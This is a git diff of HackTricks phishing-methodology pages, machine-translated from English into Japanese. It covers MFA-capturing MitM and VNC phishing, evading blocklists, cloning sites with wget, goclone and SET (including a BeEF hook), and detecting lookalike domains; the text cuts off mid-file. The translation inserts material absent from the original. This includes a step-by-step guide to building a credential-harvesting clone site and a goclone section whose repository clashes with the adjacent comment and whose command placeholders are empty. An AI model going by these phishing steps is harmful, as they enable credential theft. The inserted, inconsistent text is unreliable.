-## Phishing MFA +## MFAを用いたフィッシング -### Via Proxy MitM +### プロキシMitMを介して -The previous attack is pretty clever as you are faking a real website and gathering the information set by the user. Unfortunately, if the user didn't put the correct password or if the application you faked is configured with 2FA, **this information won't allow you to impersonate the tricked user**. +前の攻撃は非常に巧妙であり、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集しています。ただし、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで構成されている場合、**この情報ではトリックされたユーザーをなりすますことはできません**。 -This is where tools like [**evilginx2**](https://github.com/kgretzky/evilginx2) or [**CredSniper**](https://github.com/ustayready/CredSniper) are useful. This tool will allow you to generate a MitM like attack. Basically, the attacks works in the following way: +これは、[**evilginx2**](https://github.com/kgretzky/evilginx2)や[**CredSniper**](https://github.com/ustayready/CredSniper)などのツールが役立つ場所です。このツールを使用すると、MitMのような攻撃を生成できます。基本的に、攻撃は次のように機能します。 -1. You **impersonate the login** form of the real webpage. -2. The user **send** his **credentials** to your fake page and the tool send those to the real webpage, **checking if the credentials work**. -3. If the account is configured with **2FA**, the MitM page will ask for it and once the **user introduces** it the tool will send it to the real web page. -4. Once the user is authenticated you (as attacker) will have **captured the credentials, the 2FA, the cookie and any information** of every interaction your while the tool is performing a MitM. +1. 実際のウェブページの**ログインフォームをなりすます**。 +2. ユーザーは自分の資格情報を偽のページに送信し、ツールはそれらを実際のウェブページに送信して、**資格情報が機能するかどうかを確認**します。 +3. アカウントが**2FAで構成**されている場合、MitMページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。 +4. ユーザーが認証されると、攻撃者として、ツールがMitMを実行している間に、**資格情報、2FA、クッキー、およびすべてのインタラクションの情報**をキャプチャします。 -### Via VNC +### VNCを介して -What if instead of **sending the victim to a malicious page** with the same looks as the original one, you send him to a **VNC session with a browser connected to the real web page**? You will be able to see what he does, steal the password, the MFA used, the cookies...\ -You can do this with [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) +もし、被害者を**元のウェブページに接続されたブラウザを持つVNCセッションに送信**する場合はどうでしょうか?彼が何をするかを見ることができ、パスワード、使用されたMFA、クッキーを盗むことができます...\ +これは[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)で行うことができます。 -## Detecting the detection +## 検出の検出 -Obviously one of the best ways to know if you have been busted is to **search your domain inside blacklists**. If it appears listed, somehow your domain was detected as suspicions.\ -One easy way to check if you domain appears in any blacklist is to use [https://malwareworld.com/](https://malwareworld.com) +明らかに、バスターされたかどうかを知るための最良の方法の1つは、**ドメインをブラックリストで検索**することです。リストに表示される場合、どうやらあなたのドメインが疑わしいと検出されたようです。\ +ドメインがブラックリストに表示されているかどうかを確認する簡単な方法は、[https://malwareworld.com/](https://malwareworld.com)を使用することです。 -However, there are other ways to know if the victim is **actively looking for suspicions phishing activity in the wild** as explained in: +ただし、次のような方法もあります。被害者のドメインと非常に似た名前のドメインを**購入**するか、被害者のドメインの**キーワード**を含む、あなたが制御しているドメインの**サブドメイン**の証明書を**生成**することができます。被害者がそれらと**DNSまたはHTTPのやり取り**を行うと、彼が**積極的に不審なドメインを探している**ことがわかり、非常に慎重にする必要があります。 -{% content-ref url="detecting-phising.md" %} -[detecting-phising.md](detecting-phising.md) -{% endcontent-ref %} +### フィッシングの評価 -You can **buy a domain with a very similar name** to the victims domain **and/or generate a certificate** for a **subdomain** of a domain controlled by you **containing** the **keyword** of the victim's domain. If the **victim** perform any kind of **DNS or HTTP interaction** with them, you will know that **he is actively looking** for suspicious domains and you will need to be very stealth. - -### Evaluate the phishing - -Use [**Phishious** ](https://github.com/Rices/Phishious)to evaluate if your email is going to end in the spam folder or if it's going to be blocked or successful. - -## References +[**Phishious**](https://github.com/Rices/Phishious)を使用して、メールがスパムフォルダに入るか、ブロックされるか、成功するかを評価してください。 +## 参考文献 * [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) * [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) @@ -485,10 +452,10 @@ Use [**Phishious** ](https://github.com/Rices/Phishious)to evaluate if your emai ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md index 67d6d8a06..9c1469d64 100644 --- a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md +++ b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md @@ -1,63 +1,110 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-For a phishing assessment sometimes it might be useful to completely **clone a website**. +フィッシングアセスメントでは、時には完全に**ウェブサイトをクローン**することが役立つ場合があります。 -Note that you can add also some payloads to the cloned website like a BeEF hook to "control" the tab of the user. +クローンされたウェブサイトには、BeEFフックなどのペイロードを追加することもできます。これにより、ユーザーのタブを「制御」することができます。 -There are different tools you can use for this purpose: +この目的のために使用できるさまざまなツールがあります: ## wget - ```text wget -mk -nH ``` - ## goclone +gocloneは、ウェブサイトをクローンするためのツールです。このツールを使用すると、ターゲットのウェブサイトの外観と機能を完全に複製することができます。 + +### インストール + +gocloneをインストールするには、次のコマンドを実行します。 + +```bash +go get -u github.com/muhammadmuzzammil1998/goclone +``` + +### 使用方法 + +gocloneを使用するには、次のコマンドを実行します。 + +```bash +goclone -url -output +``` + +- ``: クローンするターゲットのウェブサイトのURLを指定します。 +- ``: クローンされたウェブサイトの出力ディレクトリを指定します。 + +### クローンの注意事項 + +gocloneを使用してウェブサイトをクローンする際には、法的な制約や倫理的な考慮事項に留意する必要があります。許可なく他人のウェブサイトをクローンすることは違法行為となりますので、必ず適切な許可を得るか、自身のウェブサイトのクローンを作成することをお勧めします。 + +### まとめ + +gocloneは、ウェブサイトのクローン作成に便利なツールです。ただし、適切な許可を得ずに他人のウェブサイトをクローンすることは違法ですので、注意が必要です。 ```bash #https://github.com/imthaghost/goclone goclone ``` +## ソーシャルエンジニアリングツールキット -## Social Engineering Toolit +### クローンウェブサイト +このモジュールでは、フィッシング攻撃の一環としてウェブサイトをクローンする方法について説明します。クローンウェブサイトは、攻撃者が被害者を騙すために使用する偽のウェブサイトです。被害者は、本物のウェブサイトと間違えて情報を入力する可能性があります。 + +### クローンウェブサイトの作成手順 + +1. クローンしたいウェブサイトを選択します。一般的なターゲットは、銀行、ソーシャルメディア、オンラインショッピングサイトなどです。 + +2. ウェブサイトのソースコードを取得します。これには、ブラウザの開発者ツールを使用するか、`wget`コマンドを使用してウェブサイトのHTMLをダウンロードする方法があります。 + +3. ソースコードを編集し、攻撃者が情報を収集できるようにします。例えば、ログインフォームの`action`属性を攻撃者が制御するサーバーのURLに変更します。 + +4. クローンウェブサイトをホストするためのインフラストラクチャをセットアップします。これには、Webサーバーの設定やドメイン名の取得が含まれます。 + +5. クローンウェブサイトを被害者に送信するための手段を選択します。一般的な方法には、メール、SMS、ソーシャルメディアのメッセージなどがあります。 + +6. 被害者がクローンウェブサイトにアクセスし、情報を入力すると、攻撃者はその情報を収集できます。 + +### クローンウェブサイトの注意点 + +- クローンウェブサイトを作成することは、法的に違法な行為です。この技術は、セキュリティテストや教育目的でのみ使用するべきです。 + +- クローンウェブサイトは、被害者を騙すための手段として使用されるため、倫理的な観点からも慎重に使用する必要があります。 + +- クローンウェブサイトは、セキュリティ対策が強化されたウェブサイトに対しても効果的な攻撃手法ですが、被害者が警戒心を持っている場合や、セキュリティ対策が十分に実施されている場合は成功しづらくなります。 + +- クローンウェブサイトを作成する際には、被害者のプライバシーとセキュリティを尊重することが重要です。収集した情報は適切に処理し、不正な目的で使用しないように注意してください。 + +以上がクローンウェブサイトの作成手順と注意点です。この技術を使用する際には、法的な制約と倫理的な観点を常に意識し、慎重に行動してください。 ```bash #https://github.com/trustedsec/social-engineer-toolkit ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md index 3815a5b73..5dce6f402 100644 --- a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md +++ b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md @@ -1,102 +1,85 @@ -# Detecting Phising +# フィッシングの検出
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Introduction +## 導入 -To detect a phishing attempt it's important to **understand the phishing techniques that are being used nowadays**. On the parent page of this post, you can find this information, so if you aren't aware of which techniques are being used today I recommend you to go to the parent page and read at least that section. +フィッシング試行を検出するためには、**現在使用されているフィッシング技術を理解することが重要**です。この投稿の親ページには、この情報が記載されていますので、現在使用されている技術について知らない場合は、親ページに移動して少なくともそのセクションを読むことをお勧めします。 -This post is based on the idea that the **attackers will try to somehow mimic or use the victim's domain name**. If your domain is called `example.com` and you are phished using a completely different domain name for some reason like `youwonthelottery.com`, these techniques aren't going to uncover it. +この投稿は、**攻撃者がいかにして被害者のドメイン名を模倣または使用するか**という考えに基づいています。例えば、あなたのドメインが`example.com`と呼ばれ、`youwonthelottery.com`のような完全に異なるドメイン名を使用してフィッシングされた場合、これらの技術はそれを発見することはできません。 -## Domain name variations +## ドメイン名の変種 -It's kind of **easy** to **uncover** those **phishing** attempts that will use a **similar domain** name inside the email.\ -It's enough to **generate a list of the most probable phishing names** that an attacker may use and **check** if it's **registered** or just check if there is any **IP** using it. +メール内で使用される**類似したドメイン**名を使用する**フィッシング**試行を**発見**するのは**比較的簡単**です。\ +攻撃者が使用する可能性のある**最もありそうなフィッシング名のリスト**を生成し、それが**登録されているかどうかを確認**するか、単にそれを使用している**IP**があるかどうかを**チェック**すれば十分です。 -### Finding suspicious domains +### 不審なドメインの検出 -For this purpose, you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it: +この目的のために、次のツールのいずれかを使用できます。これらのツールは、ドメインに割り当てられたIPがあるかどうかを自動的にDNSリクエストして確認することも注意してください。 * [**dnstwist**](https://github.com/elceef/dnstwist) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) -### Bitflipping +### ビットフリップ -In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes.\ -This applies to domains too. For example, _windows.com_ becomes _01110111..._ in the volatile memory of your computing device.\ -However, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? That is one of the 0's becomes a 1 and vice versa.\ -Applying this concept to DNS requests, it's possible that the **domain requested** that arrives at the DNS server **isn't the same as the domain initially requested.** +コンピューティングの世界では、メモリの裏側でビット(0と1)ですべてがビットで(ゼロと1)で格納されています。\ +ドメインにもこれが適用されます。例えば、_windows.com_は、コンピューティングデバイスの揮発性メモリ内では_01110111..._となります。\ +しかし、もし1つのビットが太陽フレア、宇宙線、またはハードウェアエラーによって自動的に反転した場合はどうでしょうか?つまり、0の1が1の0になるか、その逆です。\ +DNSリクエストにこのコンセプトを適用すると、DNSサーバーに到着する**要求されたドメインが最初に要求されたドメインとは異なる可能性がある**ことがあります。 -For example, a 1 bit modification in the domain microsoft.com can transform it into _windnws.com._\ -**Attackers may register as many bit-flipping domains as possible related to the victim to redirect legitimate users to their infrastructure**. +例えば、ドメインmicrosoft.comの1ビットの変更により、_windnws.com_に変換される可能性があります。\ +**攻撃者は、被害者に関連するビットフリップドメインをできるだけ多く登録し、正規のユーザーを自分たちのインフラストラクチャにリダイレクトする**ことができます。 -For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) +詳細については、[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)を読んでください。 -**All possible bit-flipping domain names should be also monitored.** +**すべての可能なビットフリップドメイン名も監視する必要があります。** -### Basic checks +### 基本的なチェック -Once you have a list of potential suspicious domain names you should **check** them (mainly the ports HTTP and HTTPS) to **see if they are using some login form similar** to someone of the victim's domain.\ -You could also check port 3333 to see if it's open and running an instance of `gophish`.\ -It's also interesting to know **how old each discovered suspicions domain is**, the younger it's the riskier it is.\ -You can also get **screenshots** of the HTTP and/or HTTPS suspicious web page to see if it's suspicious and in that case **access it to take a deeper look**. +潜在的な不審なドメイン名のリストがある場合、それらを(主にHTTPおよびHTTPSのポート)**チェック**して、被害者のドメインと似たようなログインフォームを使用しているかどうかを**確認**する必要があります。\ +ポート3333もチェックして、`gophish`のインスタンスが実行されているかどうかを確認することもできます。\ +また、発見された不審なドメインの**年齢**を知ることも興味深いです。若いほどリスクが高くなります。\ +HTTPおよび/またはHTTPSの不審なWebページの**スクリーンショット**を取得して、それが不審であるかどうかを確認し、その場合は**詳細を調査するためにアクセス**することもできます。 -### Advanced checks +### 高度なチェック -If you want to go one step further I would recommend you to **monitor those suspicious domains and search for more** once in a while (every day? it only takes a few seconds/minutes). You should also **check** the open **ports** of the related IPs and **search for instances of `gophish` or similar tools** (yes, attackers also make mistakes) and **monitor the HTTP and HTTPS web pages of the suspicious domains and subdomains** to see if they have copied any login form from the victim's web pages.\ -In order to **automate this** I would recommend having a list of login forms of the victim's domains, spider the suspicious web pages and comparing each login form found inside the suspicious domains with each login form of the victim's domain using something like `ssdeep`.\ -If you have located the login forms of the suspicious domains, you can try to **send junk credentials** and **check if it's redirecting you to the victim's domain**. +さらに進む場合は、定期的に(毎日?数秒/数分しかかかりません)**これらの不審なドメインを監視し、さらに検索**することをお勧めします。関連するIPの**オープンポート**をチェックし、`gophish`や類似のツールのインスタンスを検索することも必要です(はい、攻撃者も間違えることがあります)。また、不審なドメインとサブドメインのHTTPおよびHTTPSのWebページを**監視**し、それらが被害者のWebページからログインフォームをコピーしているかどうかを確認することも重要です。\ +これを**自動化**するためには、被害者のドメインのログインフォームのリストを持っておき、不審なWebページをスパイダリングし、不審なドメイン内で見つかった各ログインフォームを被害者のドメインの各ログインフォームと比較するために、`ssdeep`のようなものを使用することをお勧めします。\ +不審なドメインのログインフォームを特定した場合、**ダミーの資格情報を送信**して、それが被害者のドメインにリダイレクトされるかどうかを**確認**することができます。 +## キーワードを使用したドメイン名 -## Domain names using keywords +親ページでは、**被害者のドメイン名を大きなドメインの中に配置する**ドメイン名の変化技術についても言及しています(例:paypal.comの場合、paypal-financial.com)。 -The parent page also mentions a domain name variation technique that consists of putting the **victim's domain name inside a bigger domain** (e.g. paypal-financial.com for paypal.com). +### 証明書の透明性 -### Certificate Transparency +以前の「ブルートフォース」アプローチはできませんが、証明書の透明性によってこのようなフィッシング試みを**発見することができます**。CAによって証明書が発行されるたびに、詳細が公開されます。つまり、証明書の透明性を読んだり、監視したりすることで、**名前にキーワードを使用しているドメインを見つけることができます**。たとえば、攻撃者が[https://paypal-financial.com](https://paypal-financial.com)の証明書を生成した場合、証明書を見ることでキーワード「paypal」を見つけ、不審なメールが使用されていることがわかります。 -It's not possible to take the previous "Brute-Force" approach but it's actually **possible to uncover such phishing attempts** also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that by reading the certificate transparency or even monitoring it, it's **possible to find domains that are using a keyword inside its name** For example, if an attacker generates a certificate of [https://paypal-financial.com](https://paypal-financial.com), seeing the certificate it's possible to find the keyword "paypal" and know that suspicious email is being used. - -The post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) suggests that you can use Censys to search for certificates affecting a specific keyword and filter by date (only "new" certificates) and by the CA issuer "Let's Encrypt": +[https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)の投稿では、特定のキーワードに影響を与える証明書を検索し、日付(「新しい」証明書のみ)とCA発行者「Let's Encrypt」でフィルタリングするためにCensysを使用できると提案されています。 ![](<../../.gitbook/assets/image (390).png>) -However, you can do "the same" using the free web [**crt.sh**](https://crt.sh). You can **search for the keyword** and the **filter** the results **by date and CA** if you wish. +ただし、無料のウェブ[**crt.sh**](https://crt.sh)を使用して「同じこと」を行うこともできます。キーワードを**検索**し、必要に応じて結果を**日付とCAでフィルタリング**できます。 ![](<../../.gitbook/assets/image (391).png>) -Using this last option you can even use the field Matching Identities to see if any identity from the real domain matches any of the suspicious domains (note that a suspicious domain can be a false positive). +この最後のオプションでは、Matching Identitiesフィールドを使用して、実際のドメインのいずれかの識別子が不審なドメインと一致するかどうかを確認することもできます(不審なドメインは誤検知の可能性があることに注意してください)。 -**Another alternative** is the fantastic project called [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher) that does just that. +**別の代替案**は、[**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067)という素晴らしいプロジェクトです。CertStreamは、新しく生成された証明書のリアルタイムストリームを提供し、指定されたキーワードを(ほぼ)リアルタイムで検出するために使用できます。実際、[**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher)というプロジェクトがそれを行っています。 -### **New domains** +### **新しいドメイン** -**One last alternative** is to gather a list of **newly registered domains** for some TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) provides such service) and **check the keywords in these domains**. However, long domains usually use one or more subdomains, therefore the keyword won't appear inside the FLD and you won't be able to find the phishing subdomain. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+**最後の代替案**は、一部のTLD(Top Level Domain)の**新しく登録されたドメインのリスト**を収集し、これらのドメインのキーワードを**チェックする**ことです(Whoxyがそのようなサービスを提供しています)。ただし、長いドメインは通常、1つ以上のサブドメインを使用するため、キーワードはFLD(First Level Domain)内に表示されず、フィッシングのサブドメインを見つけることはできません。 diff --git a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 14b9003ad..16d8492ad 100644 --- a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,65 +1,62 @@ -# Phishing Files & Documents +# フィッシングファイルとドキュメント
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したい**ですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) 